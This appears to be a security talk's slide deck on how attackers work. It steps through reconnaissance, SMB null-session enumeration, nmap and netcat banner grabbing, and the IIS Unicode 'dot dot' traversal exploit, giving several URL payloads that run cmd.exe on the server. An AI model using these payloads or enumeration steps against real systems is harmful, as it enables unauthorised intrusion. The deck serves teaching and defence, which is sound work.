

# The Anatomy of an Attack

All War is Deception....

**-Sun Tzu (The Art Of War)**

Kartik Shinde

# Agenda

- Discuss the practice of hacking in general and demonstrate a few of the current common methods and exploits.
- Mainly a demonstration of some current web hacking methods.

# Reasons to hack.

- Curiosity.
- Revenge.
- Notoriety/Fame.
- Profit (\$\$\$ or other gain).
- A Stepping Stone to (yet another..!!!) success

# Hacker Methodologies

- Oxymoron? Not really. There is normally some method to this madness.
- Based on systematically exploiting weaknesses in your security infrastructures, both physical and IT.

## A common methodology ...

- 1. Gather target information.
- 2. Identify services offered by target to the public (whether intentional or not).
- 3. Research the discovered services for known vulnerabilities.
- 4. Attempt to exploit the services.
- 5. Utilize exploited services to gain additional privileges from the target.

Reiterate steps 1-5 until goals are achieved.

# Step 1: Gather target information.

- Domain names, IP address ranges.
- InterNIC contact information.
- Physical addresses.
- Organizational structures.
- Alliances and financial information.
- Names of officers, managers, technical staff.
- Newsgroup posts.

172.16.16.75 [D-SERVER] (Windows NT 4.0)

- NETBIOS names (7)
  - Username : D-SERVER
  - MAC : 00-50-DA-91-DF-01 (3COM CORPORATION)
  - Time to live (TTL) : 128 (128) - Same network segment
  - LAN Manager : NT LAN Manager 4.0
  - Domain : SERVER
  - Computer usage : Member Server
- Shares (5)
  - d
  - ADMIN\$ - Remote Admin
  - IPC\$ - Remote IPC
  - C\$ - Default share
  - E\$ - Default share
- Users (2)
  - Administrator
  - Guest
- Network devices (2)
  - \Device\NetBT\_E190x1 (00-50-DA-91-DF-01)
  - \Device\NetBT\_E190x1 (00-50-DA-91-DF-01)
- Remote TOD (time of day)
  - Time of day : 23 Jan 2003, 24:45:36.56
  - UpTime : 14 hours, 52 minutes, 50 seconds
- Password policy
  - Minimum password length : 0 chars
  - Maximum password age : 42 days
  - Minimum password age : no delay
  - Force logoff : never force
  - Password history : no history
- TCP Ports
  - 135 [ open ]
  - 139 [ open ]

```
[172.16.16.75]
SMB probing ...
Connecting ...(1/6)
Name "D-SERVER" encoded as "EECNFDEFFCFGEFFCCACACACACACACACA"
Session established.(2/6)
Security mode : user
Protocol negotiated.(3/6)
Operating system : Windows NT 4.0
Domain : SERVER
LAN manager : NT LAN Manager 4.0
NULL session established.(4/6)
Connected to IPC$. (5/6)
No share list.
Establishing remote session (NT way) ...
Username : ""
Session established OK.

Read server info ...
List trusted domains ...
List shares ...
List groups ...
--> Error (5) Access is denied
List users ...
List services ...
--> Error (5) Access is denied
List sessions ...
--> Error (5) Access is denied
List network transports ...
List drives ...
--> Error (5) Access is denied
Read remote time of day ...
Read password policy ...
Connect to remote registry ...
--> Error (5) Access is denied

Check for missing patches ...

Check security audit policy ...
--> Failed to open policy on the remote system

TCP scanning started ...
```

## Step 2: Identify services.

- Web servers.
- FTP servers.
- DNS servers.
- e-mail gateways.
- Help desks/phone support.
- Other (gopher, LDAP, irc, etc.)

172.16.16.75 [D-SERVER] [Windows NT 4.0]

- NETBIOS names (7)
  - Username : D-SERVER
  - MAC : 00-50-DA-91-DF-01 (3COM CORPORATION)
  - Time to live (TTL): 128 (128) - Same network segment
  - LAN Manager : NT LAN Manager 4.0
  - Domain : SERVER
  - Computer usage : Member Server
- Shares (5)
  - d
  - ADMIN\$ - Remote Admin
  - IPC\$ - Remote IPC
  - C\$ - Default share
  - E\$ - Default share
- Users (2)
  - Administrator
  - Guest
- Network devices (2)
  - \Device\NetBT\_E190x1 (00-50-DA-91-DF-01)
  - \Device\NetBT\_E190x1 (00-50-DA-91-DF-01)
- Remote TOD (time of day)
  - Time of day : 23-Jan 2003, 24:45:36.56
  - UpTime : 14 hours, 52 minutes, 50 seconds
- Password policy
  - Minimum password length : 0 chars
  - Maximum password age : 42 days
  - Minimum password age : no delay
  - Force logoff : never force
  - Password history : no history
- TCP Ports
  - 135 [ open ]
  - 139 [ open ]

```
[172.16.16.75]
SMB probing ...
Connecting ...(1/6)
Name "D-SERVER" encoded as "EECNFDEFFCFGEFFCCACACACACACACACA"
Session established.(2/6)
Security mode : user
Protocol negotiated.(3/6)
Operating system : Windows NT 4.0
Domain : SERVER
LAN manager : NT LAN Manager 4.0
NULL session established.(4/6)
Connected to IPC$.(5/6)
No share list.
Establishing remote session (NT way) ...
Username : ""
Session established OK.

Read server info ...
List trusted domains ...
List shares ...
List groups ...
--> Error (5) Access is denied
List users ...
List services ...
--> Error (5) Access is denied
List sessions ...
--> Error (5) Access is denied
List network transports ...
List drives ...
--> Error (5) Access is denied
Read remote time of day ...
Read password policy ...
Connect to remote registry ...
--> Error (5) Access is denied

Check for missing patches ...

Check security audit policy ...
--> Failed to open policy on the remote system

TCP scanning started ...
```

Target: 172.16.222.222

172.16.222.222 [FreeBSD]

- Time to live (TTL) : 64 (64) - Same network segment
- TCP Ports
  - 22 [open]
    - SSH-1.99-OpenSSH\_3.4p1 FreeBSD-20020702

```
SNMP discovery ...
Community string : public
Done sending, waiting for responses ...
ICMP sweep ... (PING!)
Done sending, waiting for responses ...
PONG from 172.16.222.222
- Time to live (TTL) = 64 (64)
+ Same network segment
- ICMP code in response <> 0 => Unix box
- Timestamp Reply (172.16.222.222)
NETBIOS discovery ...
Done sending, waiting for responses ...
SNMP discovery ...
Community string : public
Done sending, waiting for responses ...
ICMP sweep ... (PING!)
Done sending, waiting for responses ...
PONG from 172.16.222.222
- Time to live (TTL) = 64 (64)
+ Same network segment
- ICMP code in response <> 0 => Unix box
- Timestamp Reply (172.16.222.222)
NETBIOS discovery ...
Done sending, waiting for responses ...
SNMP discovery ...
Community string : public
Done sending, waiting for responses ...
ICMP sweep ... (PING!)
Done sending, waiting for responses ...
PONG from 172.16.222.222
- Time to live (TTL) = 64 (64)
+ Same network segment
- ICMP code in response <> 0 => Unix box
- Timestamp Reply (172.16.222.222)
Ready
4 Computer(s) found
```

## Step 3: Research vulnerabilities/ Derive/ Trade/ Download Exploits

- Vendor announcements.
- Default configurations.
- Poor configurations. (i.e. passwords, cleartext protocols)
- Gather available exploits or develop new exploit.
- Derived exploits.
- Some original work.

## Step 4: Exploit vulnerabilities.

- Attempt to exploit vulnerabilities to gain access to the target.
- Continue until successful.

## Step 5: Utilize increased access.

- Exploit additional vulnerabilities to gain additional access and information to use in penetrating further into an organization.
- The hacker "becomes" a legitimate user (even an administrator).

# IIS Unicode web exploit.

- Unicode allows characters that are not used in the English language to be recognized by Web Servers.
- Note:
  - Only requires normal web user access to an IIS webserver (i.e. port 80 or 443).
  - Using non-standard ports for your web server only makes this marginally more difficult. You do publish how to access your webserver to someone, right? (also, you would be surprised what search engines contain about you.)
  - Using SSL (https protocol) will not prevent the exploit from succeeding.

# The Setup

- Target: Windows NT Server 4.0sp6a, IIS 4.0
- Attacker: Windows 2000 Professional
- The Virtual Network Configuration

## Target info.

- Target IP address is 10.10.10.4
- Query whois database at ARIN.net to locate owner and domain information.
- Also try reverse DNS mappings for host/domain names.

# Services information

Use nmap to scan target for services of interest.

```
$ nmap -sS -p 21-25,80,135-139,443 10.10.10.4
```

Starting nmap V. 2.54 by fyodor@insecure.org ( [www.insecure.org/nmap/](http://www.insecure.org/nmap/) )

Interesting ports on (172.16.222.102):

(The 7 ports scanned but not shown below are in state: closed)

Port	State	Service
21/tcp	open	ftp
80/tcp	open	http
135/tcp	open	loc-srv
139/tcp	open	netbios-ssn
443/tcp	open	https

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second

# Research services

Use netcat or telnet commands to determine web server information.

```
$ nc 10.10.10.4 80
```

```
HEAD / HTTP/1.0
```

```
<CR>
```

```
HTTP/1.1 200 OK
```

```
Server: Microsoft-IIS/4.0
```

```
Date: Tue, 14 Jan 2003 18:22:26 GMT
```

```
Content-Type: text/html
```

```
Accept-Ranges: bytes
```

```
Last-Modified: Mon, 30 Jul 2001 15:28:47 GMT
```

```
Content-Length: 4325
```

# Exploit services to gain access

- Unicode “dot dot” exploit to traverse filesystem.
- Default configuration of Inetpub\scripts directory is used to upload and execute commands of our choice.
- Get target to fetch useful commands.
- Get target to initiate a command session.
- Use target to obtain additional information.

# The infamous dot dot exploit

<http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/c+command>

<http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/c+command>

<http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/c+command>

<http://target/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+command>

<http://target/scripts/..%d0%af../winnt/system32/cmd.exe?/c+command>

<http://target/scripts/..%d1%9c../winnt/system32/cmd.exe?/c+command>

<http://target/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+command>

.....

# Attack of the Clones

- The deadly worms exploiting the Unicode bug...
  - Code Red / Blue
  - Nimda
  - Numerous other variants of such worms

# A home-made Honey-pot for Unicode worms

- Perl script simulating an IIS server
  - Responds to any HTTP request with a valid IIS header
  - Purpose : To detect even the Code Blue worm which attacks only IIS servers
  - Demonstrates the speed at which these worms attack servers on the internet
  - Logs the attack patterns/signatures of the attack
  - Gather any further attack patterns not known
- Alternative simple solution
  - `nc -l -n -v -p 80`

# Question(s)

